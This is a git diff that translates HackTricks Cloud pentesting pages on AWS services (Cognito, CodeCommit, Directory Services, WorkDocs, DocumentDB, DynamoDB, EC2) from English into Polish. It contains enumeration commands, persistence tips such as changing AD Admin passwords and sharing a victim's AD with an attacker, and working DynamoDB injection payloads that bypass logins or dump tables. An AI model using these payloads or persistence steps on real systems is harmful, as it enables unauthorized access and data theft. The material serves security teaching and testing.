Pool). +Zauważ, że nawet jeśli grupa znajduje się w grupie z przypisaną rolą IAM, aby uzyskać dostęp do poświadczeń IAM tej grupy, konieczne jest, aby **User Pool był zaufany przez Identity Pool** (i znał szczegóły tego Identity Pool). -Another requisite to get the **IAM role indicated in the IdToken** when a user is authenticated in the User Pool (`aws cognito-idp initiate-auth...`) is that the **Identity Provider Authentication provider** needs indicate that the **role must be selected from the token.** +Innym wymogiem, aby uzyskać **rolę IAM wskazaną w IdToken**, gdy użytkownik jest uwierzytelniony w User Pool (`aws cognito-idp initiate-auth...`), jest to, że **dostawca uwierzytelniania Identity Provider** musi wskazać, że **rola musi być wybierana z tokena.**
-The **roles** a user have access to are **inside the `IdToken`**, and a user can **select which role he would like credentials for** with the **`--custom-role-arn`** from `aws cognito-identity get-credentials-for-identity`.\ -However, if the **default option** is the one **configured** (`use default role`), and you try to access a role from the IdToken, you will get **error** (that's why the previous configuration is needed): - +**Role**, do których użytkownik ma dostęp, są **w `IdToken`**, a użytkownik może **wybrać, dla której roli chciałby uzyskać poświadczenia** za pomocą **`--custom-role-arn`** z `aws cognito-identity get-credentials-for-identity`.\ +Jednakże, jeśli **domyślna opcja** jest tą **skonfigurowaną** (`use default role`), a ty próbujesz uzyskać dostęp do roli z IdToken, otrzymasz **błąd** (dlatego potrzebna jest wcześniejsza konfiguracja): ``` An error occurred (InvalidParameterException) when calling the GetCredentialsForIdentity operation: Only SAML providers and providers with RoleMappings support custom role ARN. ``` - > [!WARNING] -> Note that the role assigned to a **User Pool Group** needs to be **accesible by the Identity Provider** that **trust the User Pool** (as the IAM role **session credentials are going to be obtained from it**). - +> Zauważ, że rola przypisana do **User Pool Group** musi być **dostępna dla Dostawcy Tożsamości**, który **ufa User Pool** (ponieważ **poświadczenia sesji roli IAM będą uzyskiwane z niego**). ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "Federated": "cognito-identity.amazonaws.com" - }, - "Action": "sts:AssumeRoleWithWebIdentity", - "Condition": { - "StringEquals": { - "cognito-identity.amazonaws.com:aud": "us-east-1:2361092e-9db6-a876-1027-10387c9de439" - }, - "ForAnyValue:StringLike": { - "cognito-identity.amazonaws.com:amr": "authenticated" - } - } - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Federated": "cognito-identity.amazonaws.com" +}, +"Action": "sts:AssumeRoleWithWebIdentity", +"Condition": { +"StringEquals": { +"cognito-identity.amazonaws.com:aud": "us-east-1:2361092e-9db6-a876-1027-10387c9de439" +}, +"ForAnyValue:StringLike": { +"cognito-identity.amazonaws.com:amr": "authenticated" +} +} +} +] }js ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md index 2a907b71b..3027bc24f 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md @@ -4,30 +4,28 @@ ## DataPipeline -AWS Data Pipeline is designed to facilitate the **access, transformation, and efficient transfer** of data at scale. It allows the following operations to be performed: +AWS Data Pipeline jest zaprojektowany, aby ułatwić **dostęp, transformację i efektywny transfer** danych na dużą skalę. Umożliwia wykonanie następujących operacji: -1. **Access Your Data Where It’s Stored**: Data residing in various AWS services can be accessed seamlessly. -2. **Transform and Process at Scale**: Large-scale data processing and transformation tasks are handled efficiently. -3. **Efficiently Transfer Results**: The processed data can be efficiently transferred to multiple AWS services including: - - Amazon S3 - - Amazon RDS - - Amazon DynamoDB - - Amazon EMR +1. **Dostęp do Twoich Danych Gdzie Są Przechowywane**: Dane znajdujące się w różnych usługach AWS mogą być bezproblemowo dostępne. +2. **Transformacja i Przetwarzanie na Dużą Skalę**: Duże zadania przetwarzania i transformacji danych są obsługiwane efektywnie. +3. **Efektywny Transfer Wyników**: Przetworzone dane mogą być efektywnie transferowane do wielu usług AWS, w tym: +- Amazon S3 +- Amazon RDS +- Amazon DynamoDB +- Amazon EMR -In essence, AWS Data Pipeline streamlines the movement and processing of data between different AWS compute and storage services, as well as on-premises data sources, at specified intervals. +W istocie, AWS Data Pipeline upraszcza ruch i przetwarzanie danych między różnymi usługami obliczeniowymi i magazynowymi AWS, a także lokalnymi źródłami danych, w określonych interwałach. ### Enumeration - ```bash aws datapipeline list-pipelines aws datapipeline describe-pipelines --pipeline-ids aws datapipeline list-runs --pipeline-id aws datapipeline get-pipeline-definition --pipeline-id ``` - ### Privesc -In the following page you can check how to **abuse datapipeline permissions to escalate privileges**: +Na następnej stronie możesz sprawdzić, jak **nadużyć uprawnień datapipeline, aby eskalować przywileje**: {{#ref}} ../aws-privilege-escalation/aws-datapipeline-privesc.md @@ -35,10 +33,9 @@ In the following page you can check how to **abuse datapipeline permissions to e ## CodePipeline -AWS CodePipeline is a fully managed **continuous delivery service** that helps you **automate your release pipelines** for fast and reliable application and infrastructure updates. CodePipeline automates the **build, test, and deploy phases** of your release process every time there is a code change, based on the release model you define. +AWS CodePipeline to w pełni zarządzana **usługa ciągłego dostarczania**, która pomaga w **automatyzacji twoich procesów wydania** dla szybkich i niezawodnych aktualizacji aplikacji i infrastruktury. CodePipeline automatyzuje **etapy budowy, testowania i wdrażania** twojego procesu wydania za każdym razem, gdy następuje zmiana w kodzie, w oparciu o model wydania, który definiujesz. ### Enumeration - ```bash aws codepipeline list-pipelines aws codepipeline get-pipeline --name @@ -47,10 +44,9 @@ aws codepipeline list-pipeline-executions --pipeline-name aws codepipeline list-webhooks aws codepipeline get-pipeline-state --name ``` - ### Privesc -In the following page you can check how to **abuse codepipeline permissions to escalate privileges**: +Na następnej stronie możesz sprawdzić, jak **nadużyć uprawnień codepipeline, aby eskalować uprawnienia**: {{#ref}} ../aws-privilege-escalation/aws-codepipeline-privesc.md @@ -58,12 +54,11 @@ In the following page you can check how to **abuse codepipeline permissions to e ## CodeCommit -It is a **version control service**, which is hosted and fully managed by Amazon, which can be used to privately store data (documents, binary files, source code) and manage them in the cloud. +Jest to **usługa kontroli wersji**, która jest hostowana i w pełni zarządzana przez Amazon, która może być używana do prywatnego przechowywania danych (dokumentów, plików binarnych, kodu źródłowego) i zarządzania nimi w chmurze. -It **eliminates** the requirement for the user to know Git and **manage their own source control system** or worry about scaling up or down their infrastructure. Codecommit supports all the standard **functionalities that can be found in Git**, which means it works effortlessly with user’s current Git-based tools. +**Eliminuje** to wymóg, aby użytkownik znał Git i **zarządzał własnym systemem kontroli wersji** lub martwił się o skalowanie swojej infrastruktury w górę lub w dół. Codecommit obsługuje wszystkie standardowe **funkcjonalności, które można znaleźć w Gicie**, co oznacza, że działa bezproblemowo z obecnymi narzędziami opartymi na Gicie użytkownika. ### Enumeration - ```bash # Repos aws codecommit list-repositories @@ -95,13 +90,8 @@ ssh-keygen -f .ssh/id_rsa -l -E md5 # Clone repo git clone ssh://@git-codecommit..amazonaws.com/v1/repos/ ``` - -## References +## Odniesienia - [https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html](https://docs.aws.amazon.com/whitepapers/latest/aws-overview/analytics.html) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md index 93992174c..8a43ef7c8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md @@ -4,26 +4,25 @@ ## Directory Services -AWS Directory Service for Microsoft Active Directory is a managed service that makes it easy to **set up, operate, and scale a directory** in the AWS Cloud. It is built on actual **Microsoft Active Directory** and integrates tightly with other AWS services, making it easy to manage your directory-aware workloads and AWS resources. With AWS Managed Microsoft AD, you can **use your existing** Active Directory users, groups, and policies to manage access to your AWS resources. This can help simplify your identity management and reduce the need for additional identity solutions. AWS Managed Microsoft AD also provides automatic backups and disaster recovery capabilities, helping to ensure the availability and durability of your directory. Overall, AWS Directory Service for Microsoft Active Directory can help you save time and resources by providing a managed, highly available, and scalable Active Directory service in the AWS Cloud. +AWS Directory Service for Microsoft Active Directory to zarządzana usługa, która ułatwia **konfigurowanie, obsługę i skalowanie katalogu** w chmurze AWS. Jest zbudowana na rzeczywistym **Microsoft Active Directory** i ściśle integruje się z innymi usługami AWS, co ułatwia zarządzanie obciążeniami i zasobami AWS, które są świadome katalogu. Dzięki AWS Managed Microsoft AD możesz **używać istniejących** użytkowników, grup i polityk Active Directory do zarządzania dostępem do swoich zasobów AWS. Może to pomóc uprościć zarządzanie tożsamością i zmniejszyć potrzebę dodatkowych rozwiązań tożsamości. AWS Managed Microsoft AD zapewnia również automatyczne kopie zapasowe i możliwości odzyskiwania po awarii, co pomaga zapewnić dostępność i trwałość Twojego katalogu. Ogólnie rzecz biorąc, AWS Directory Service for Microsoft Active Directory może pomóc zaoszczędzić czas i zasoby, oferując zarządzaną, wysoko dostępną i skalowalną usługę Active Directory w chmurze AWS. ### Options -Directory Services allows to create 5 types of directories: +Directory Services pozwala na tworzenie 5 typów katalogów: -- **AWS Managed Microsoft AD**: Which will run a new **Microsoft AD in AWS**. You will be able to set the admin password and access the DCs in a VPC. -- **Simple AD**: Which will be a **Linux-Samba** Active Directory–compatible server. You will be able to set the admin password and access the DCs in a VPC. -- **AD Connector**: A proxy for **redirecting directory requests to your existing Microsoft Active Directory** without caching any information in the cloud. It will be listening in a **VPC** and you need to give **credentials to access the existing AD**. -- **Amazon Cognito User Pools**: This is the same as Cognito User Pools. -- **Cloud Directory**: This is the **simplest** one. A **serverless** directory where you indicate the **schema** to use and are **billed according to the usage**. +- **AWS Managed Microsoft AD**: Który uruchomi nowy **Microsoft AD w AWS**. Będziesz mógł ustawić hasło administratora i uzyskać dostęp do DC w VPC. +- **Simple AD**: Który będzie **serwerem zgodnym z Active Directory** opartym na **Linux-Samba**. Będziesz mógł ustawić hasło administratora i uzyskać dostęp do DC w VPC. +- **AD Connector**: Proxy do **przekierowywania żądań katalogowych do istniejącego Microsoft Active Directory** bez buforowania jakichkolwiek informacji w chmurze. Będzie nasłuchiwać w **VPC** i musisz podać **dane uwierzytelniające do uzyskania dostępu do istniejącego AD**. +- **Amazon Cognito User Pools**: To to samo co Cognito User Pools. +- **Cloud Directory**: To jest **najprostsze**. **Bezserwerowy** katalog, w którym wskazujesz **schemat** do użycia i jesteś **obciążany zgodnie z użyciem**. -AWS Directory services allows to **synchronise** with your existing **on-premises** Microsoft AD, **run your own one** in AWS or synchronize with **other directory types**. +Usługi katalogowe AWS pozwalają na **synchronizację** z istniejącym **lokalnym** Microsoft AD, **uruchomienie własnego** w AWS lub synchronizację z **innymi typami katalogów**. ### Lab -Here you can find a nice tutorial to create you own Microsoft AD in AWS: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html) +Tutaj znajdziesz fajny samouczek, jak stworzyć własny Microsoft AD w AWS: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/ms_ad_tutorial_test_lab_base.html) ### Enumeration - ```bash # Get directories and DCs aws ds describe-directories @@ -36,10 +35,9 @@ aws ds get-directory-limits aws ds list-certificates --directory-id aws ds describe-certificate --directory-id --certificate-id ``` - ### Login -Note that if the **description** of the directory contained a **domain** in the field **`AccessUrl`** it's because a **user** can probably **login** with its **AD credentials** in some **AWS services:** +Zauważ, że jeśli **opis** katalogu zawierał **domenę** w polu **`AccessUrl`**, to dlatego, że **użytkownik** prawdopodobnie może **zalogować się** za pomocą swoich **poświadczeń AD** w niektórych **usługach AWS:** - `.awsapps.com/connect` (Amazon Connect) - `.awsapps.com/workdocs` (Amazon WorkDocs) @@ -57,30 +55,29 @@ Note that if the **description** of the directory contained a **domain** in the ### Using an AD user -An **AD user** can be given **access over the AWS management console** via a Role to assume. The **default username is Admin** and it's possible to **change its password** from AWS console. +**Użytkownik AD** może uzyskać **dostęp do konsoli zarządzania AWS** za pośrednictwem roli do przyjęcia. **Domyślną nazwą użytkownika jest Admin** i możliwe jest **zmiana hasła** z konsoli AWS. -Therefore, it's possible to **change the password of Admin**, **create a new user** or **change the password** of a user and grant that user a Role to maintain access.\ -It's also possible to **add a user to a group inside AD** and **give that AD group access to a Role** (to make this persistence more stealth). +Dlatego możliwe jest **zmiana hasła Admina**, **utworzenie nowego użytkownika** lub **zmiana hasła** użytkownika i przyznanie temu użytkownikowi roli, aby utrzymać dostęp.\ +Możliwe jest również **dodanie użytkownika do grupy w AD** i **przyznanie tej grupie AD dostępu do roli** (aby uczynić tę persistencję bardziej ukrytą). ### Sharing AD (from victim to attacker) -It's possible to share an AD environment from a victim to an attacker. This way the attacker will be able to continue accessing the AD env.\ -However, this implies sharing the managed AD and also creating an VPC peering connection. +Możliwe jest udostępnienie środowiska AD z ofiary do atakującego. W ten sposób atakujący będzie mógł kontynuować dostęp do środowiska AD.\ +Jednakże wiąże się to z udostępnieniem zarządzanego AD oraz utworzeniem połączenia VPC peering. -You can find a guide here: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) +Możesz znaleźć przewodnik tutaj: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) ### ~~Sharing AD (from attacker to victim)~~ -It doesn't look like possible to grant AWS access to users from a different AD env to one AWS account. +Nie wygląda na to, aby możliwe było przyznanie dostępu do AWS użytkownikom z innego środowiska AD do jednego konta AWS. ## WorkDocs -Amazon Web Services (AWS) WorkDocs is a cloud-based **file storage and sharing service**. It is part of the AWS suite of cloud computing services and is designed to provide a secure and scalable solution for organizations to store, share, and collaborate on files and documents. +Amazon Web Services (AWS) WorkDocs to oparta na chmurze **usługa przechowywania i udostępniania plików**. Jest częścią zestawu usług chmurowych AWS i została zaprojektowana w celu zapewnienia bezpiecznego i skalowalnego rozwiązania dla organizacji do przechowywania, udostępniania i współpracy nad plikami i dokumentami. -AWS WorkDocs provides a web-based interface for users to upload, access, and manage their files and documents. It also offers features such as version control, real-time collaboration, and integration with other AWS services and third-party tools. +AWS WorkDocs oferuje interfejs oparty na sieci dla użytkowników do przesyłania, uzyskiwania dostępu i zarządzania swoimi plikami i dokumentami. Oferuje również funkcje takie jak kontrola wersji, współpraca w czasie rzeczywistym oraz integracja z innymi usługami AWS i narzędziami firm trzecich. ### Enumeration - ```bash # Get AD users (Admin not included) aws workdocs describe-users --organization-id @@ -109,7 +106,6 @@ aws workdocs describe-resource-permissions --resource-id aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER ## This will give an id, the file will be acesible in: https://.awsapps.com/workdocs/index.html#/share/document/ ``` - ### Privesc {{#ref}} @@ -117,7 +113,3 @@ aws workdocs add-resource-permissions --resource-id --principals Id=anonymo {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md index caf35d03c..cf69a469c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md @@ -4,10 +4,9 @@ ## DocumentDB -Amazon DocumentDB, offering compatibility with MongoDB, is presented as a **fast, reliable, and fully managed database service**. Designed for simplicity in deployment, operation, and scalability, it allows the **seamless migration and operation of MongoDB-compatible databases in the cloud**. Users can leverage this service to execute their existing application code and utilize familiar drivers and tools, ensuring a smooth transition and operation akin to working with MongoDB. +Amazon DocumentDB, oferujący zgodność z MongoDB, jest przedstawiany jako **szybka, niezawodna i w pełni zarządzana usługa bazy danych**. Zaprojektowany z myślą o prostocie wdrożenia, działania i skalowalności, umożliwia **bezproblemową migrację i działanie baz danych zgodnych z MongoDB w chmurze**. Użytkownicy mogą korzystać z tej usługi, aby uruchamiać swój istniejący kod aplikacji i wykorzystywać znane sterowniki i narzędzia, zapewniając płynne przejście i działanie podobne do pracy z MongoDB. ### Enumeration - ```bash aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint" aws docdb describe-db-instances #Get hostnames from here @@ -20,10 +19,9 @@ aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name ``` - ### NoSQL Injection -As DocumentDB is a MongoDB compatible database, you can imagine it's also vulnerable to common NoSQL injection attacks: +Ponieważ DocumentDB jest bazą danych kompatybilną z MongoDB, można sobie wyobrazić, że jest również podatna na powszechne ataki NoSQL injection: {{#ref}} https://book.hacktricks.xyz/pentesting-web/nosql-injection @@ -40,7 +38,3 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection - [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md index cb0864715..8f64f8b4b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md @@ -4,30 +4,29 @@ ## DynamoDB -### Basic Information +### Podstawowe informacje -Amazon DynamoDB is presented by AWS as a **fully managed, serverless, key-value NoSQL database**, tailored for powering high-performance applications regardless of their size. The service ensures robust features including inherent security measures, uninterrupted backups, automated replication across multiple regions, integrated in-memory caching, and convenient data export utilities. +Amazon DynamoDB jest przedstawiany przez AWS jako **w pełni zarządzana, bezserwerowa, klucz-wartość baza danych NoSQL**, dostosowana do zasilania aplikacji o wysokiej wydajności, niezależnie od ich rozmiaru. Usługa zapewnia solidne funkcje, w tym wbudowane środki bezpieczeństwa, nieprzerwane kopie zapasowe, automatyczną replikację w wielu regionach, zintegrowane pamięci podręczne w pamięci oraz wygodne narzędzia do eksportu danych. -In the context of DynamoDB, instead of establishing a traditional database, **tables are created**. Each table mandates the specification of a **partition key** as an integral component of the **table's primary key**. This partition key, essentially a **hash value**, plays a critical role in both the retrieval of items and the distribution of data across various hosts. This distribution is pivotal for maintaining both scalability and availability of the database. Additionally, there's an option to incorporate a **sort key** to further refine data organization. +W kontekście DynamoDB, zamiast tworzyć tradycyjną bazę danych, **tworzone są tabele**. Każda tabela wymaga określenia **klucza partycji** jako integralnego elementu **klucza głównego tabeli**. Ten klucz partycji, zasadniczo **wartość haszująca**, odgrywa kluczową rolę zarówno w pobieraniu elementów, jak i w dystrybucji danych w różnych hostach. Ta dystrybucja jest kluczowa dla utrzymania zarówno skalowalności, jak i dostępności bazy danych. Dodatkowo istnieje możliwość dodania **klucza sortującego**, aby jeszcze bardziej udoskonalić organizację danych. -### Encryption +### Szyfrowanie -By default, DynamoDB uses a KMS key that \*\*belongs to Amazon DynamoDB,\*\*not even the AWS managed key that at least belongs to your account. +Domyślnie, DynamoDB używa klucza KMS, który \*\*należy do Amazon DynamoDB,\*\* a nie nawet do zarządzanego klucza AWS, który przynajmniej należy do twojego konta.
-### Backups & Export to S3 +### Kopie zapasowe i eksport do S3 -It's possible to **schedule** the generation of **table backups** or create them on **demand**. Moreover, it's also possible to enable **Point-in-time recovery (PITR) for a table.** Point-in-time recovery provides continuous **backups** of your DynamoDB data for **35 days** to help you protect against accidental write or delete operations. +Możliwe jest **zaplanowanie** generowania **kopii zapasowych tabeli** lub tworzenie ich na **żądanie**. Ponadto możliwe jest również włączenie **odzyskiwania w punkcie w czasie (PITR) dla tabeli.** Odzyskiwanie w punkcie w czasie zapewnia ciągłe **kopie zapasowe** danych DynamoDB przez **35 dni**, aby pomóc w ochronie przed przypadkowymi operacjami zapisu lub usunięcia. -It's also possible to export **the data of a table to S3**, but the table needs to have **PITR enabled**. +Możliwe jest również eksportowanie **danych tabeli do S3**, ale tabela musi mieć **włączone PITR**. ### GUI -There is a GUI for local Dynamo services like [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack), etc, that could be useful: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin) - -### Enumeration +Istnieje GUI dla lokalnych usług Dynamo, takich jak [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack) itd., które mogą być przydatne: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin) +### Enumeracja ```bash # Tables aws dynamodb list-tables @@ -36,7 +35,7 @@ aws dynamodb describe-table --table-name #Get metadata info #Check if point in time recovery is enabled aws dynamodb describe-continuous-backups \ - --table-name tablename +--table-name tablename # Backups aws dynamodb list-backups @@ -54,8 +53,7 @@ aws dynamodb describe-export --export-arn # Misc aws dynamodb describe-endpoints #Dynamodb endpoints ``` - -### Unauthenticated Access +### Nieautoryzowany dostęp {{#ref}} ../aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md @@ -67,47 +65,45 @@ aws dynamodb describe-endpoints #Dynamodb endpoints ../aws-privilege-escalation/aws-dynamodb-privesc.md {{#endref}} -### Post Exploitation +### Po eksploatacji {{#ref}} ../aws-post-exploitation/aws-dynamodb-post-exploitation.md {{#endref}} -### Persistence +### Utrzymywanie {{#ref}} ../aws-persistence/aws-dynamodb-persistence.md {{#endref}} -## DynamoDB Injection +## Wstrzykiwanie do DynamoDB -### SQL Injection +### Wstrzykiwanie SQL -There are ways to access DynamoDB data with **SQL syntax**, therefore, typical **SQL injections are also possible**. +Istnieją sposoby na dostęp do danych DynamoDB za pomocą **składni SQL**, dlatego typowe **wstrzykiwania SQL są również możliwe**. {{#ref}} https://book.hacktricks.xyz/pentesting-web/sql-injection {{#endref}} -### NoSQL Injection +### Wstrzykiwanie NoSQL -In DynamoDB different **conditions** can be used to retrieve data, like in a common NoSQL Injection if it's possible to **chain more conditions to retrieve** data you could obtain hidden data (or dump the whole table).\ -You can find here the conditions supported by DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) +W DynamoDB można używać różnych **warunków** do pobierania danych, jak w typowym wstrzykiwaniu NoSQL, jeśli możliwe jest **łączenie więcej warunków w celu pobrania** danych, można uzyskać ukryte dane (lub zrzucić całą tabelę).\ +Można tutaj znaleźć warunki obsługiwane przez DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) -Note that **different conditions** are supported if the data is being accessed via **`query`** or via **`scan`**. +Zauważ, że **różne warunki** są obsługiwane, jeśli dane są uzyskiwane za pomocą **`query`** lub za pomocą **`scan`**. > [!NOTE] -> Actually, **Query** actions need to specify the **condition "EQ" (equals)** in the **primary** key to works, making it much **less prone to NoSQL injections** (and also making the operation very limited). - -If you can **change the comparison** performed or add new ones, you could retrieve more data. +> W rzeczywistości, akcje **Query** muszą określać **warunek "EQ" (równa się)** w **kluczu głównym**, aby działały, co sprawia, że są **mniej podatne na wstrzykiwania NoSQL** (a także ogranicza operację). +Jeśli możesz **zmienić porównanie** lub dodać nowe, możesz pobrać więcej danych. ```bash # Comparators to dump the database "NE": "a123" #Get everything that doesn't equal "a123" "NOT_CONTAINS": "a123" #What you think "GT": " " #All strings are greater than a space ``` - {{#ref}} https://book.hacktricks.xyz/pentesting-web/nosql-injection {{#endref}} @@ -115,68 +111,54 @@ https://book.hacktricks.xyz/pentesting-web/nosql-injection ### Raw Json injection > [!CAUTION] -> **This vulnerability is based on dynamodb Scan Filter which is now deprecated!** +> **Ta podatność opiera się na filtrze skanowania dynamodb, który jest teraz przestarzały!** -**DynamoDB** accepts **Json** objects to **search** for data inside the DB. If you find that you can write in the json object sent to search, you could make the DB dump, all the contents. - -For example, injecting in a request like: +**DynamoDB** akceptuje obiekty **Json** do **wyszukiwania** danych w bazie. Jeśli odkryjesz, że możesz pisać w obiekcie json wysyłanym do wyszukiwania, możesz wykonać zrzut bazy danych, wszystkich jej zawartości. +Na przykład, wstrzykując w żądaniu takim jak: ```bash '{"Id": {"ComparisonOperator": "EQ","AttributeValueList": [{"N": "' + user_input + '"}]}}' ``` - -an attacker could inject something like: +atakujący mógłby wstrzyknąć coś takiego: `1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0` -fix the "EQ" condition searching for the ID 1000 and then looking for all the data with a Id string greater and 0, which is all. - -Another **vulnerable example using a login** could be: +naprawić warunek "EQ" szukając ID 1000, a następnie szukając wszystkich danych z ciągiem Id większym niż 0, co obejmuje wszystko. +Inny **wrażliwy przykład używający logowania** mógłby być: ```python scan_filter = """{ - "username": { - "ComparisonOperator": "EQ", - "AttributeValueList": [{"S": "%s"}] - }, - "password": { - "ComparisonOperator": "EQ", - "AttributeValueList": [{"S": "%s"}] - } +"username": { +"ComparisonOperator": "EQ", +"AttributeValueList": [{"S": "%s"}] +}, +"password": { +"ComparisonOperator": "EQ", +"AttributeValueList": [{"S": "%s"}] +} } """ % (user_data['username'], user_data['password']) dynamodb.scan(TableName="table-name", ScanFilter=json.loads(scan_filter)) ``` - -This would be vulnerable to: - +To będzie podatne na: ``` username: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none ``` - ### :property Injection -Some SDKs allows to use a string indicating the filtering to be performed like: - +Niektóre SDK umożliwiają użycie ciągu wskazującego filtrację, która ma być przeprowadzona, jak: ```java new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap) ``` +Musisz wiedzieć, że wyszukiwanie w DynamoDB w celu **zastąpienia** wartości **atrybutu** w **wyrażeniach filtrujących** podczas skanowania elementów, tokeny powinny **zaczynać się** od znaku **`:`**. Takie tokeny będą **zastępowane** rzeczywistą **wartością atrybutu w czasie wykonywania**. -You need to know that searching in DynamoDB for **substituting** an attribute **value** in **filter expressions** while scanning the items, the tokens should **begin** with the **`:`** character. Such tokens will be **replaced** with actual **attribute value at runtime**. - -Therefore, a login like the previous one can be bypassed with something like: - +Dlatego logowanie, jak to poprzednie, można obejść za pomocą czegoś takiego: ```bash :username = :username or :username # This will generate the query: # :username = :username or :username = :username and Password = :password # which is always true ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index f365bc7f5..a11a5e206 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -4,7 +4,7 @@ ## VPC & Networking -Learn what a VPC is and about its components in: +Dowiedz się, czym jest VPC i jakie są jego komponenty w: {{#ref}} aws-vpc-and-networking-basic-information.md @@ -12,37 +12,36 @@ aws-vpc-and-networking-basic-information.md ## EC2 -Amazon EC2 is utilized for initiating **virtual servers**. It allows for the configuration of **security** and **networking** and the management of **storage**. The flexibility of Amazon EC2 is evident in its ability to scale resources both upwards and downwards, effectively adapting to varying requirement changes or surges in popularity. This feature diminishes the necessity for precise traffic predictions. +Amazon EC2 jest wykorzystywany do uruchamiania **wirtualnych serwerów**. Umożliwia konfigurację **bezpieczeństwa** i **sieci** oraz zarządzanie **przechowywaniem**. Elastyczność Amazon EC2 jest widoczna w jego zdolności do skalowania zasobów zarówno w górę, jak i w dół, skutecznie dostosowując się do zmieniających się wymagań lub wzrostów popularności. Ta funkcja zmniejsza konieczność precyzyjnego prognozowania ruchu. -Interesting things to enumerate in EC2: +Interesujące rzeczy do enumeracji w EC2: -- Virtual Machines - - SSH Keys - - User Data - - Existing EC2s/AMIs/Snapshots -- Networking - - Networks - - Subnetworks - - Public IPs - - Open ports -- Integrated connections with other networks outside AWS +- Wirtualne maszyny +- Klucze SSH +- Dane użytkownika +- Istniejące EC2/AMIs/Zrzuty +- Sieci +- Sieci +- Podsieci +- Publiczne IP +- Otwarte porty +- Zintegrowane połączenia z innymi sieciami poza AWS ### Instance Profiles -Using **roles** to grant permissions to applications that run on **EC2 instances** requires a bit of extra configuration. An application running on an EC2 instance is abstracted from AWS by the virtualized operating system. Because of this extra separation, you need an additional step to assign an AWS role and its associated permissions to an EC2 instance and make them available to its applications. +Użycie **ról** do przyznawania uprawnień aplikacjom działającym na **instancjach EC2** wymaga dodatkowej konfiguracji. Aplikacja działająca na instancji EC2 jest abstrahowana od AWS przez wirtualizowany system operacyjny. Z powodu tego dodatkowego oddzielenia, potrzebny jest dodatkowy krok, aby przypisać rolę AWS i jej powiązane uprawnienia do instancji EC2 i udostępnić je jej aplikacjom. -This extra step is the **creation of an** [_**instance 